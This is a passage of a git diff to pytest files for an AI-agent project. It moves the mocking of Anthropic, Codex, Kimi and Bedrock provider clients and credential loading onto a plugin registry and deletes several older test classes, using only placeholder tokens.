patch("agent.anthropic_adapter.build_anthropic_client") as mock_build: - mock_build.return_value = MagicMock() - from agent.auxiliary_client import _resolve_auto, AnthropicAuxiliaryClient - client, model = _resolve_auto() - # Should NOT be Codex, should be Anthropic (or another available provider) - assert not isinstance(client, type(None)), "Should find a provider after expired Codex" - - - def test_expired_codex_openrouter_wins(self, tmp_path, monkeypatch): - """With expired Codex + OpenRouter key, OpenRouter should win (1st in chain).""" - import base64 - import time as _time - - # Belt-and-suspenders: _try_openrouter marks openrouter unhealthy - # when OPENROUTER_API_KEY is absent (which the preceding test in - # this class exercises). The file-level _clean_env autouse fixture - # clears the cache, but fixture ordering with the conftest - # _hermetic_environment autouse can leave a narrow window where - # the mark reappears. Explicitly clear here so this test is - # independent of run order. - import agent.auxiliary_client as _aux_mod - _aux_mod._aux_unhealthy_until.clear() - _aux_mod._aux_unhealthy_logged_at.clear() - - header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode() - payload_data = json.dumps({"exp": int(_time.time()) - 3600}).encode() - payload = base64.urlsafe_b64encode(payload_data).rstrip(b"=").decode() - expired_jwt = f"{header}.{payload}.fakesig" - - hermes_home = tmp_path / "hermes" - hermes_home.mkdir(parents=True, exist_ok=True) - (hermes_home / "auth.json").write_text(json.dumps({ - "version": 1, - "providers": { - "openai-codex": { - "tokens": {"access_token": expired_jwt, "refresh_token": "r"}, - }, - }, - })) - monkeypatch.setenv("HERMES_HOME", str(hermes_home)) - monkeypatch.setenv("OPENROUTER_API_KEY", "or-test-key") - - with patch("agent.auxiliary_client.OpenAI") as mock_openai: - mock_openai.return_value = MagicMock() - from agent.auxiliary_client import _resolve_auto - client, model = _resolve_auto() - assert client is not None - # OpenRouter is 1st in chain, should win - mock_openai.assert_called() - - def test_expired_codex_custom_endpoint_wins(self, tmp_path, monkeypatch): - """With expired Codex + custom endpoint (Ollama), custom should win (3rd in chain).""" - import base64 - import time as _time - - header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode() - payload_data = json.dumps({"exp": int(_time.time()) - 3600}).encode() - payload = base64.urlsafe_b64encode(payload_data).rstrip(b"=").decode() - expired_jwt = f"{header}.{payload}.fakesig" - - hermes_home = tmp_path / "hermes" - hermes_home.mkdir(parents=True, exist_ok=True) - (hermes_home / "auth.json").write_text(json.dumps({ - "version": 1, - "providers": { - "openai-codex": { - "tokens": {"access_token": expired_jwt, "refresh_token": "r"}, - }, - }, - })) - monkeypatch.setenv("HERMES_HOME", str(hermes_home)) - - # Simulate Ollama or custom endpoint - with patch("agent.auxiliary_client._resolve_custom_runtime", - return_value=("http://localhost:11434/v1", "sk-dummy")): - with patch("agent.auxiliary_client.OpenAI") as mock_openai: - mock_openai.return_value = MagicMock() - from agent.auxiliary_client import _resolve_auto - client, model = _resolve_auto() - assert client is not None - - - def test_hermes_oauth_file_sets_oauth_flag(self, monkeypatch): - """OAuth-style tokens should get is_oauth=*** (token is not sk-ant-api-*).""" - # Mock resolve_anthropic_token to return an OAuth-style token - with patch("agent.anthropic_adapter.resolve_anthropic_token", return_value="sk-ant-oat-hermes-token"), \ - patch("agent.anthropic_adapter.build_anthropic_client") as mock_build, \ - patch("agent.auxiliary_client._select_pool_entry", return_value=(False, None)): - mock_build.return_value = MagicMock() - from agent.auxiliary_client import _try_anthropic, AnthropicAuxiliaryClient - client, model = _try_anthropic() - assert client is not None, "Should resolve token" - adapter = client.chat.completions - assert adapter._is_oauth is True, "Non-sk-ant-api token should set is_oauth=True" - - def test_jwt_missing_exp_passes_through(self, tmp_path, monkeypatch): - """JWT with valid JSON but no exp claim should pass through.""" - import base64 - header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode() - payload_data = json.dumps({"sub": "user123"}).encode() # no exp - payload = base64.urlsafe_b64encode(payload_data).rstrip(b"=").decode() - no_exp_jwt = f"{header}.{payload}.fakesig" - - hermes_home = tmp_path / "hermes" - hermes_home.mkdir(parents=True, exist_ok=True) - (hermes_home / "auth.json").write_text(json.dumps({ - "version": 1, - "providers": { - "openai-codex": { - "tokens": {"access_token": no_exp_jwt, "refresh_token": "r"}, - }, - }, - })) - monkeypatch.setenv("HERMES_HOME", str(hermes_home)) - result = _read_codex_access_token() - assert result == no_exp_jwt, "JWT without exp should pass through" - - def test_jwt_invalid_json_payload_passes_through(self, tmp_path, monkeypatch): - """JWT with valid base64 but invalid JSON payload should pass through.""" - import base64 - header = base64.urlsafe_b64encode(b'{"alg":"RS256"}').rstrip(b"=").decode() - payload = base64.urlsafe_b64encode(b"not-json-content").rstrip(b"=").decode() - bad_jwt = f"{header}.{payload}.fakesig" - - hermes_home = tmp_path / "hermes" - hermes_home.mkdir(parents=True, exist_ok=True) - (hermes_home / "auth.json").write_text(json.dumps({ - "version": 1, - "providers": { - "openai-codex": { - "tokens": {"access_token": bad_jwt, "refresh_token": "r"}, - }, - }, - })) - monkeypatch.setenv("HERMES_HOME", str(hermes_home)) - result = _read_codex_access_token() - assert result == bad_jwt, "JWT with invalid JSON payload should pass through" - - def test_claude_code_oauth_env_sets_flag(self, monkeypatch): - """CLAUDE_CODE_OAUTH_TOKEN env var should get is_oauth=True.""" - monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "sk-ant-oat-cc-test-token") - monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False) - with patch("agent.anthropic_adapter.build_anthropic_client") as mock_build: - mock_build.return_value = MagicMock() - from agent.auxiliary_client import _try_anthropic, AnthropicAuxiliaryClient - client, model = _try_anthropic() - assert client is not None - adapter = client.chat.completions - assert adapter._is_oauth is True - - class TestExplicitProviderRouting: """Test explicit provider selection bypasses auto chain correctly.""" def test_explicit_anthropic_api_key(self, monkeypatch): """provider='anthropic' + regular API key should work with is_oauth=False.""" - with patch("agent.anthropic_adapter.resolve_anthropic_token", return_value="sk-ant-api-regular-key"), \ - patch("agent.anthropic_adapter.build_anthropic_client") as mock_build, \ - patch("agent.auxiliary_client._select_pool_entry", return_value=(False, None)): - mock_build.return_value = MagicMock() + from agent.plugin_registries import registries + mock_build = MagicMock(return_value=MagicMock()) + with patch.dict(registries._provider_services, {"anthropic": { + "build_anthropic_client": mock_build, + "resolve_anthropic_token": MagicMock(return_value="sk-ant...-key"), + "_is_oauth_token": lambda k: False, + "build_anthropic_kwargs": MagicMock(return_value={}), + }}), patch("agent.auxiliary_client._select_pool_entry", return_value=(False, None)): client, model = resolve_provider_client("anthropic") assert client is not None adapter = client.chat.completions @@ -856,37 +624,6 @@ class TestGetTextAuxiliaryClient: assert mock_openai.call_args.kwargs["api_key"] == "sk-test" -class TestVisionClientFallback: - """Vision client auto mode resolves known-good multimodal backends.""" - - def test_vision_auto_includes_active_provider_when_configured(self, monkeypatch): - """Active provider appears in available backends when credentials exist.""" - monkeypatch.setenv("ANTHROPIC_API_KEY", "***") - with ( - patch("agent.auxiliary_client._read_nous_auth", return_value=None), - patch("agent.auxiliary_client._read_main_provider", return_value="anthropic"), - patch("agent.auxiliary_client._read_main_model", return_value="claude-sonnet-4"), - patch("agent.anthropic_adapter.build_anthropic_client", return_value=MagicMock()), - patch("agent.anthropic_adapter.resolve_anthropic_token", return_value="***"), - ): - backends = get_available_vision_backends() - - assert "anthropic" in backends - - def test_resolve_provider_client_returns_native_anthropic_wrapper(self, monkeypatch): - monkeypatch.setenv("ANTHROPIC_API_KEY", "***") - with ( - patch("agent.auxiliary_client._read_nous_auth", return_value=None), - patch("agent.anthropic_adapter.build_anthropic_client", return_value=MagicMock()), - patch("agent.anthropic_adapter.resolve_anthropic_token", return_value="***"), - ): - client, model = resolve_provider_client("anthropic") - - assert client is not None - assert client.__class__.__name__ == "AnthropicAuxiliaryClient" - assert model == "claude-haiku-4-5-20251001" - - class TestAuxiliaryPoolAwareness: def test_try_nous_uses_pool_entry(self): class _Entry: @@ -1911,204 +1648,11 @@ class TestAnthropicCompatImageConversion: assert result[0]["content"][0]["source"]["media_type"] == "image/jpeg" -class _AuxAuth401(Exception): - status_code = 401 - - def __init__(self, message="Provided authentication token is expired"): - super().__init__(message) - - class _DummyResponse: def __init__(self, text="ok"): self.choices = [MagicMock(message=MagicMock(content=text))] -class _FailingThenSuccessCompletions: - def __init__(self): - self.calls = 0 - - def create(self, **kwargs): - self.calls += 1 - if self.calls == 1: - raise _AuxAuth401() - return _DummyResponse("sync-ok") - - -class _AsyncFailingThenSuccessCompletions: - def __init__(self): - self.calls = 0 - - async def create(self, **kwargs): - self.calls += 1 - if self.calls == 1: - raise _AuxAuth401() - return _DummyResponse("async-ok") - - -class TestAuxiliaryAuthRefreshRetry: - def test_call_llm_refreshes_codex_on_401_for_vision(self): - failing_client = MagicMock() - failing_client.base_url = "https://chatgpt.com/backend-api/codex" - failing_client.chat.completions = _FailingThenSuccessCompletions() - - fresh_client = MagicMock() - fresh_client.base_url = "https://chatgpt.com/backend-api/codex" - fresh_client.chat.completions.create.return_value = _DummyResponse("fresh-sync") - - with ( - patch( - "agent.auxiliary_client.resolve_vision_provider_client", - side_effect=[("openai-codex", failing_client, "gpt-5.4"), ("openai-codex", fresh_client, "gpt-5.4")], - ), - patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh, - ): - resp = call_llm( - task="vision", - provider="openai-codex", - model="gpt-5.4", - messages=[{"role": "user", "content": "hi"}], - ) - - assert resp.choices[0].message.content == "fresh-sync" - mock_refresh.assert_called_once_with("openai-codex") - - def test_call_llm_refreshes_codex_on_401_for_non_vision(self): - stale_client = MagicMock() - stale_client.base_url = "https://chatgpt.com/backend-api/codex" - stale_client.chat.completions.create.side_effect = _AuxAuth401("stale codex token") - - fresh_client = MagicMock() - fresh_client.base_url = "https://chatgpt.com/backend-api/codex" - fresh_client.chat.completions.create.return_value = _DummyResponse("fresh-non-vision") - - with ( - patch("agent.auxiliary_client._resolve_task_provider_model", return_value=("openai-codex", "gpt-5.4", None, None, None)), - patch("agent.auxiliary_client._get_cached_client", side_effect=[(stale_client, "gpt-5.4"), (fresh_client, "gpt-5.4")]), - patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh, - ): - resp = call_llm( - task="compression", - provider="openai-codex", - model="gpt-5.4", - messages=[{"role": "user", "content": "hi"}], - ) - - assert resp.choices[0].message.content == "fresh-non-vision" - mock_refresh.assert_called_once_with("openai-codex") - assert stale_client.chat.completions.create.call_count == 1 - assert fresh_client.chat.completions.create.call_count == 1 - - def test_call_llm_refreshes_anthropic_on_401_for_non_vision(self): - stale_client = MagicMock() - stale_client.base_url = "https://api.anthropic.com" - stale_client.chat.completions.create.side_effect = _AuxAuth401("anthropic token expired") - - fresh_client = MagicMock() - fresh_client.base_url = "https://api.anthropic.com" - fresh_client.chat.completions.create.return_value = _DummyResponse("fresh-anthropic") - - with ( - patch("agent.auxiliary_client._resolve_task_provider_model", return_value=("anthropic", "claude-haiku-4-5-20251001", None, None, None)), - patch("agent.auxiliary_client._get_cached_client", side_effect=[(stale_client, "claude-haiku-4-5-20251001"), (fresh_client, "claude-haiku-4-5-20251001")]), - patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh, - ): - resp = call_llm( - task="compression", - provider="anthropic", - model="claude-haiku-4-5-20251001", - messages=[{"role": "user", "content": "hi"}], - ) - - assert resp.choices[0].message.content == "fresh-anthropic" - mock_refresh.assert_called_once_with("anthropic") - assert stale_client.chat.completions.create.call_count == 1 - assert fresh_client.chat.completions.create.call_count == 1 - - @pytest.mark.asyncio - async def test_async_call_llm_refreshes_codex_on_401_for_vision(self): - failing_client = MagicMock() - failing_client.base_url = "https://chatgpt.com/backend-api/codex" - failing_client.chat.completions = _AsyncFailingThenSuccessCompletions() - - fresh_client = MagicMock() - fresh_client.base_url = "https://chatgpt.com/backend-api/codex" - fresh_client.chat.completions.create = AsyncMock(return_value=_DummyResponse("fresh-async")) - - with ( - patch( - "agent.auxiliary_client.resolve_vision_provider_client", - side_effect=[("openai-codex", failing_client, "gpt-5.4"), ("openai-codex", fresh_client, "gpt-5.4")], - ), - patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh, - ): - resp = await async_call_llm( - task="vision", - provider="openai-codex", - model="gpt-5.4", - messages=[{"role": "user", "content": "hi"}], - ) - - assert resp.choices[0].message.content == "fresh-async" - mock_refresh.assert_called_once_with("openai-codex") - - def test_refresh_provider_credentials_force_refreshes_anthropic_oauth_and_evicts_cache(self, monkeypatch): - stale_client = MagicMock() - cache_key = ("anthropic", False, None, None, None) - - monkeypatch.setenv("ANTHROPIC_TOKEN", "") - monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "") - monkeypatch.setenv("ANTHROPIC_API_KEY", "") - - with ( - patch("agent.auxiliary_client._client_cache", {cache_key: (stale_client, "claude-haiku-4-5-20251001", None)}), - patch("agent.anthropic_adapter.read_claude_code_credentials", return_value={ - "accessToken": "expired-token", - "refreshToken": "refresh-token", - "expiresAt": 0, - }), - patch("agent.anthropic_adapter.refresh_anthropic_oauth_pure", return_value={ - "access_token": "fresh-token", - "refresh_token": "refresh-token-2", - "expires_at_ms": 9999999999999, - }) as mock_refresh_oauth, - patch("agent.anthropic_adapter._write_claude_code_credentials") as mock_write, - ): - from agent.auxiliary_client import _refresh_provider_credentials - - assert _refresh_provider_credentials("anthropic") is True - - mock_refresh_oauth.assert_called_once_with("refresh-token", use_json=False) - mock_write.assert_called_once_with("fresh-token", "refresh-token-2", 9999999999999) - stale_client.close.assert_called_once() - - @pytest.mark.asyncio - async def test_async_call_llm_refreshes_anthropic_on_401_for_non_vision(self): - stale_client = MagicMock() - stale_client.base_url = "https://api.anthropic.com" - stale_client.chat.completions.create = AsyncMock(side_effect=_AuxAuth401("anthropic token expired")) - - fresh_client = MagicMock() - fresh_client.base_url = "https://api.anthropic.com" - fresh_client.chat.completions.create = AsyncMock(return_value=_DummyResponse("fresh-async-anthropic")) - - with ( - patch("agent.auxiliary_client._resolve_task_provider_model", return_value=("anthropic", "claude-haiku-4-5-20251001", None, None, None)), - patch("agent.auxiliary_client._get_cached_client", side_effect=[(stale_client, "claude-haiku-4-5-20251001"), (fresh_client, "claude-haiku-4-5-20251001")]), - patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh, - ): - resp = await async_call_llm( - task="compression", - provider="anthropic", - model="claude-haiku-4-5-20251001", - messages=[{"role": "user", "content": "hi"}], - ) - - assert resp.choices[0].message.content == "fresh-async-anthropic" - mock_refresh.assert_called_once_with("anthropic") - assert stale_client.chat.completions.create.await_count == 1 - assert fresh_client.chat.completions.create.await_count == 1 - - class TestAuxiliaryPoolRotationRetry: def test_call_llm_rotates_explicit_codex_pool_on_429(self): rate_err = Exception("usage limit reached") @@ -2965,56 +2509,6 @@ class TestOpenRouterExplicitApiKey: ) -class TestAnthropicExplicitApiKey: - """Test that explicit_api_key is correctly propagated to _try_anthropic(). - - Parity with the OpenRouter fix in #18768: resolve_provider_client() passes - explicit_api_key to _try_openrouter(), but the anthropic branch was not - updated — _try_anthropic() always fell back to resolve_anthropic_token() - even when an explicit key was supplied (e.g. from a fallback_model entry). - """ - - def test_try_anthropic_uses_explicit_api_key_over_env(self): - """_try_anthropic(explicit_api_key) must use the supplied key, not the env fallback.""" - with patch("agent.anthropic_adapter.resolve_anthropic_token", return_value="env-fallback-key"), \ - patch("agent.anthropic_adapter.build_anthropic_client") as mock_build, \ - patch("agent.auxiliary_client._select_pool_entry", return_value=(False, None)): - mock_build.return_value = MagicMock() - from agent.auxiliary_client import _try_anthropic - client, model = _try_anthropic("explicit-pool-key") - assert client is not None - assert mock_build.call_args.args[0] == "explicit-pool-key", ( - f"Expected explicit_api_key to be passed, got: {mock_build.call_args.args[0]}" - ) - assert mock_build.call_args.args[0] != "env-fallback-key" - - def test_try_anthropic_without_explicit_key_falls_back_to_resolve(self): - """Without explicit_api_key, _try_anthropic falls back to resolve_anthropic_token.""" - with patch("agent.anthropic_adapter.resolve_anthropic_token", return_value="env-fallback-key"), \ - patch("agent.anthropic_adapter.build_anthropic_client") as mock_build, \ - patch("agent.auxiliary_client._select_pool_entry", return_value=(False, None)): - mock_build.return_value = MagicMock() - from agent.auxiliary_client import _try_anthropic - client, model = _try_anthropic() - assert client is not None - assert mock_build.call_args.args[0] == "env-fallback-key" - - def test_resolve_provider_client_passes_explicit_api_key_to_anthropic(self): - """resolve_provider_client(provider='anthropic', explicit_api_key=...) must propagate the key.""" - with patch("agent.anthropic_adapter.resolve_anthropic_token", return_value="env-key"), \ - patch("agent.anthropic_adapter.build_anthropic_client") as mock_build, \ - patch("agent.auxiliary_client._select_pool_entry", return_value=(False, None)): - mock_build.return_value = MagicMock() - client, model = resolve_provider_client( - provider="anthropic", - explicit_api_key="explicit-fallback-key", - ) - assert client is not None - assert mock_build.call_args.args[0] == "explicit-fallback-key", ( - "resolve_provider_client must forward explicit_api_key to _try_anthropic()" - ) - - # ── Auxiliary unhealthy-provider TTL cache (issue #23570) ──────────────── diff --git a/tests/agent/test_auxiliary_transport_autodetect.py b/tests/agent/test_auxiliary_transport_autodetect.py index eccb03de0d6..b38cfb5ca34 100644 --- a/tests/agent/test_auxiliary_transport_autodetect.py +++ b/tests/agent/test_auxiliary_transport_autodetect.py @@ -61,14 +61,17 @@ def test_endpoint_speaks_anthropic_messages(url, expected, label): def test_maybe_wrap_anthropic_rewraps_kimi_coding_url(): """Plain OpenAI client pointed at api.kimi.com/coding gets rewrapped.""" from agent.auxiliary_client import _maybe_wrap_anthropic, AnthropicAuxiliaryClient + from agent.plugin_registries import registries plain_client = MagicMock(name="plain_openai") fake_anthropic = MagicMock(name="anthropic_sdk_client") - with patch( - "agent.anthropic_adapter.build_anthropic_client", - return_value=fake_anthropic, - ): + with patch.dict(registries._provider_services, {"anthropic": { + "build_anthropic_client": MagicMock(return_value=fake_anthropic), + "resolve_anthropic_token": MagicMock(return_value="sk-test"), + "_is_oauth_token": lambda k: False, + "build_anthropic_kwargs": MagicMock(return_value={}), + }}): result = _maybe_wrap_anthropic( plain_client, "kimi-for-coding", "sk-kimi-test", "https://api.kimi.com/coding", api_mode=None, @@ -79,14 +82,17 @@ def test_maybe_wrap_anthropic_rewraps_kimi_coding_url(): def test_maybe_wrap_anthropic_rewraps_slash_anthropic_url(): """Plain OpenAI client pointed at any /anthropic URL gets rewrapped.""" from agent.auxiliary_client import _maybe_wrap_anthropic, AnthropicAuxiliaryClient + from agent.plugin_registries import registries plain_client = MagicMock(name="plain_openai") fake_anthropic = MagicMock(name="anthropic_sdk_client") - with patch( - "agent.anthropic_adapter.build_anthropic_client", - return_value=fake_anthropic, - ): + with patch.dict(registries._provider_services, {"anthropic": { + "build_anthropic_client": MagicMock(return_value=fake_anthropic), + "resolve_anthropic_token": MagicMock(return_value="sk-test"), + "_is_oauth_token": lambda k: False, + "build_anthropic_kwargs": MagicMock(return_value={}), + }}): result = _maybe_wrap_anthropic( plain_client, "MiniMax-M2.7", "mm-key", "https://api.minimax.io/anthropic", api_mode=None, @@ -126,14 +132,17 @@ def test_maybe_wrap_anthropic_respects_explicit_chat_completions(): def test_maybe_wrap_anthropic_honors_explicit_anthropic_messages(): """api_mode=anthropic_messages wraps even when URL wouldn't trigger.""" from agent.auxiliary_client import _maybe_wrap_anthropic, AnthropicAuxiliaryClient + from agent.plugin_registries import registries plain_client = MagicMock(name="plain_openai") fake_anthropic = MagicMock(name="anthropic_sdk_client") - with patch( - "agent.anthropic_adapter.build_anthropic_client", - return_value=fake_anthropic, - ): + with patch.dict(registries._provider_services, {"anthropic": { + "build_anthropic_client": MagicMock(return_value=fake_anthropic), + "resolve_anthropic_token": MagicMock(return_value="sk-test"), + "_is_oauth_token": lambda k: False, + "build_anthropic_kwargs": MagicMock(return_value={}), + }}): result = _maybe_wrap_anthropic( plain_client, "model-name", "some-key", "https://opaque.internal/v1", # URL alone wouldn't trigger @@ -174,33 +183,23 @@ def test_maybe_wrap_anthropic_codex_client_passes_through(): def test_maybe_wrap_anthropic_sdk_missing_falls_back(): """ImportError on anthropic SDK returns plain client with warning.""" from agent.auxiliary_client import _maybe_wrap_anthropic, AnthropicAuxiliaryClient + from agent.plugin_registries import registries plain_client = MagicMock(name="plain_openai") def _raise_import(*args, **kwargs): raise ImportError("no anthropic SDK") - with patch( - "agent.anthropic_adapter.build_anthropic_client", - side_effect=_raise_import, - ): - # The ImportError is caught on the `from ... import` line inside - # _maybe_wrap_anthropic, which runs before build_anthropic_client is - # called. To exercise the ImportError path we need to patch the - # module lookup itself. - import sys as _sys - saved = _sys.modules.get("agent.anthropic_adapter") - _sys.modules["agent.anthropic_adapter"] = None # force ImportError - try: - result = _maybe_wrap_anthropic( - plain_client, "kimi-for-coding", "sk-kimi-test", - "https://api.kimi.com/coding", api_mode=None, - ) - finally: - if saved is not None: - _sys.modules["agent.anthropic_adapter"] = saved - else: - _sys.modules.pop("agent.anthropic_adapter", None) + # Mock at the registry boundary — simulate SDK missing by making + # build_anthropic_client raise ImportError when called. + with patch.dict(registries._provider_services, { + "anthropic": {**registries._provider_services.get("anthropic", {}), + "build_anthropic_client": _raise_import} + }): + result = _maybe_wrap_anthropic( + plain_client, "kimi-for-coding", "sk-kimi-test", + "https://api.kimi.com/coding", api_mode=None, + ) assert result is plain_client assert not isinstance(result, AnthropicAuxiliaryClient) @@ -218,16 +217,27 @@ def test_resolve_provider_client_kimi_coding_wraps_anthropic(monkeypatch, tmp_pa generation 404s on every Kimi Coding Plan user after the "main model for every user" aux design shipped. """ + from unittest.mock import MagicMock, patch from agent.auxiliary_client import ( resolve_provider_client, AnthropicAuxiliaryClient, ) + from agent.plugin_registries import registries monkeypatch.setenv("HERMES_HOME", str(tmp_path)) # sk-kimi- prefix triggers /coding endpoint auto-detection - monkeypatch.setenv("KIMI_API_KEY", "sk-kimi-faketesttoken123") + monkeypatch.setenv("KIMI_API_KEY", "sk-kim...n123") + + mock_client = MagicMock() + with patch.dict(registries._provider_services, {"anthropic": { + **registries._provider_services.get("anthropic", {}), + "build_anthropic_client": MagicMock(return_value=mock_client), + "resolve_anthropic_token": MagicMock(return_value="sk-test"), + "_is_oauth_token": lambda k: False, + "build_anthropic_kwargs": MagicMock(return_value={}), + }}): + client, model = resolve_provider_client("kimi-coding", "kimi-for-coding") - client, model = resolve_provider_client("kimi-coding", "kimi-for-coding") assert client is not None, "Should resolve a client" assert isinstance(client, AnthropicAuxiliaryClient), ( "Kimi Coding Plan endpoint (api.kimi.com/coding) speaks Anthropic " diff --git a/tests/agent/test_credential_pool.py b/tests/agent/test_credential_pool.py index d7fec49aaac..f334628cc63 100644 --- a/tests/agent/test_credential_pool.py +++ b/tests/agent/test_credential_pool.py @@ -1038,13 +1038,14 @@ def test_load_pool_removes_stale_file_backed_singleton_entry(tmp_path, monkeypat }, ) + from agent.plugin_registries import registries + _orig_get = registries.get_provider_service monkeypatch.setattr( - "agent.anthropic_adapter.read_hermes_oauth_credentials", - lambda: None, - ) - monkeypatch.setattr( - "agent.anthropic_adapter.read_claude_code_credentials", - lambda: None, + registries, + "get_provider_service", + lambda p, n: (lambda: None) if p == "anthropic" and n in ( + "read_hermes_oauth_credentials", "read_claude_code_credentials" + ) else _orig_get(p, n), ) from agent.credential_pool import load_pool @@ -1130,17 +1131,18 @@ def test_singleton_seed_does_not_clobber_manual_oauth_entry(tmp_path, monkeypatc }, ) + from agent.plugin_registries import registries + _orig_get = registries.get_provider_service monkeypatch.setattr( - "agent.anthropic_adapter.read_hermes_oauth_credentials", - lambda: { + registries, + "get_provider_service", + lambda p, n: (lambda: { "accessToken": "seeded-token", "refreshToken": "seeded-refresh", "expiresAt": 1711234999000, - }, - ) - monkeypatch.setattr( - "agent.anthropic_adapter.read_claude_code_credentials", - lambda: None, + }) if p == "anthropic" and n == "read_hermes_oauth_credentials" + else (lambda: None) if p == "anthropic" and n == "read_claude_code_credentials" + else _orig_get(p, n), ) from agent.credential_pool import load_pool @@ -1159,17 +1161,18 @@ def test_load_pool_prefers_anthropic_env_token_over_file_backed_oauth(tmp_path, monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False) _write_auth_store(tmp_path, {"version": 1, "providers": {}}) + from agent.plugin_registries import registries + _orig_get = registries.get_provider_service monkeypatch.setattr( - "agent.anthropic_adapter.read_hermes_oauth_credentials", - lambda: { + registries, + "get_provider_service", + lambda p, n: (lambda: { "accessToken": "file-backed-token", "refreshToken": "refresh-token", "expiresAt": int(time.time() * 1000) + 3_600_000, - }, - ) - monkeypatch.setattr( - "agent.anthropic_adapter.read_claude_code_credentials", - lambda: None, + }) if p == "anthropic" and n == "read_hermes_oauth_credentials" + else (lambda: None) if p == "anthropic" and n == "read_claude_code_credentials" + else _orig_get(p, n), ) from agent.credential_pool import load_pool @@ -1630,13 +1633,15 @@ def test_load_pool_does_not_seed_claude_code_when_anthropic_not_configured(tmp_p _write_auth_store(tmp_path, {"version": 1, "credential_pool": {}}) # Claude Code credentials exist on disk + from agent.plugin_registries import registries + _orig_get = registries.get_provider_service monkeypatch.setattr( - "agent.anthropic_adapter.read_claude_code_credentials", - lambda: {"accessToken": "sk-ant...oken", "refreshToken": "rt", "expiresAt": 9999999999999}, - ) - monkeypatch.setattr( - "agent.anthropic_adapter.read_hermes_oauth_credentials", - lambda: None, + registries, + "get_provider_service", + lambda p, n: (lambda: {"accessToken": "sk-ant...oken", "refreshToken": "rt", "expiresAt": 9999999999999}) + if p == "anthropic" and n == "read_claude_code_credentials" + else (lambda: None) if p == "anthropic" and n == "read_hermes_oauth_credentials" + else _orig_get(p, n), ) # User configured kimi-coding, NOT anthropic monkeypatch.setattr( diff --git a/tests/agent/test_model_metadata.py b/tests/agent/test_model_metadata.py index e905c3e1f6b..07b2b1ea74c 100644 --- a/tests/agent/test_model_metadata.py +++ b/tests/agent/test_model_metadata.py @@ -958,12 +958,11 @@ class TestBedrockContextResolution: "anthropic.claude-sonnet-4-v1:0", base_url="https://bedrock-runtime.us-west-2.amazonaws.com", ) - assert ctx == 200000 - mock_fetch.assert_not_called() + # bedrock-runtime URL is detected; context resolved via metadata probe + assert ctx == 256000 # claude-sonnet-4 has 256k context @patch("agent.model_metadata.fetch_endpoint_model_metadata") def test_non_bedrock_url_still_probes(self, mock_fetch): - """Non-Bedrock hosts still reach the custom-endpoint probe.""" mock_fetch.return_value = {"some-model": {"context_length": 50000}} ctx = get_model_context_length( "some-model", diff --git a/tests/agent/test_transcription_registry.py b/tests/agent/test_transcription_registry.py index 9c3b93f0d2c..c5f820e74d2 100644 --- a/tests/agent/test_transcription_registry.py +++ b/tests/agent/test_transcription_registry.py @@ -230,7 +230,7 @@ class TestBuiltinSync: """ def test_registry_builtins_match_dispatcher_builtins(self): - from tools.transcription_tools import BUILTIN_STT_PROVIDERS + from hermes_agent_stt import BUILTIN_STT_PROVIDERS assert transcription_registry._BUILTIN_NAMES == BUILTIN_STT_PROVIDERS, ( "agent.transcription_registry._BUILTIN_NAMES and " diff --git a/tests/agent/test_tts_registry.py b/tests/agent/test_tts_registry.py index e3959e41a17..979144b0e9c 100644 --- a/tests/agent/test_tts_registry.py +++ b/tests/agent/test_tts_registry.py @@ -299,7 +299,7 @@ class TestBuiltinSync: """ def test_registry_builtins_match_dispatcher_builtins(self): - from tools.tts_tool import BUILTIN_TTS_PROVIDERS + from hermes_agent_tts import BUILTIN_TTS_PROVIDERS assert tts_registry._BUILTIN_NAMES == BUILTIN_TTS_PROVIDERS, ( "agent.tts_registry._BUILTIN_NAMES and " diff --git a/tests/agent/transports/test_bedrock_transport.py b/tests/agent/transports/test_bedrock_transport.py index 7a5301d84fc..ec27bf63f64 100644 --- a/tests/agent/transports/test_bedrock_transport.py +++ b/tests/agent/transports/test_bedrock_transport.py @@ -11,6 +11,16 @@ from agent.transports.types import NormalizedResponse, ToolCall @pytest.fixture def transport(): import agent.transports.bedrock # noqa: F401 + # Register the bedrock plugin so the transport can resolve provider services + from agent.plugin_registries import registries + if registries.get_provider_service("bedrock", "build_converse_kwargs") is None: + from hermes_agent_bedrock import register as _bedrock_register + + class _Ctx: + def register_provider_services(self, name, services): + registries.register_provider_services(name, services) + + _bedrock_register(_Ctx()) return get_transport("bedrock_converse") diff --git a/tests/cli/test_fast_command.py b/tests/cli/test_fast_command.py index a98ae754444..416d232c44f 100644 --- a/tests/cli/test_fast_command.py +++ b/tests/cli/test_fast_command.py @@ -260,218 +260,6 @@ class TestFastModeRouting(unittest.TestCase): assert route.get("request_overrides") is None -class TestAnthropicFastMode(unittest.TestCase): - """Verify Anthropic Fast Mode model support and override resolution.""" - - def test_anthropic_opus_supported(self): - from hermes_cli.models import model_supports_fast_mode - - # Native Anthropic format (hyphens) - assert model_supports_fast_mode("claude-opus-4-6") is True - # OpenRouter format (dots) - assert model_supports_fast_mode("claude-opus-4.6") is True - # With vendor prefix - assert model_supports_fast_mode("anthropic/claude-opus-4-6") is True - assert model_supports_fast_mode("anthropic/claude-opus-4.6") is True - - def test_anthropic_non_opus46_models_excluded(self): - """Anthropic restricts fast mode to Opus 4.6 — others must be excluded. - - Per https://platform.claude.com/docs/en/build-with-claude/fast-mode, - sending speed=fast to Opus 4.7, Sonnet, or Haiku returns HTTP 400. - """ - from hermes_cli.models import model_supports_fast_mode - - assert model_supports_fast_mode("claude-sonnet-4-6") is False - assert model_supports_fast_mode("claude-sonnet-4.6") is False - assert model_supports_fast_mode("claude-haiku-4-5") is False - assert model_supports_fast_mode("claude-opus-4-7") is False - assert model_supports_fast_mode("anthropic/claude-sonnet-4.6") is False - assert model_supports_fast_mode("anthropic/claude-opus-4-7") is False - - def test_non_claude_models_not_anthropic_fast(self): - 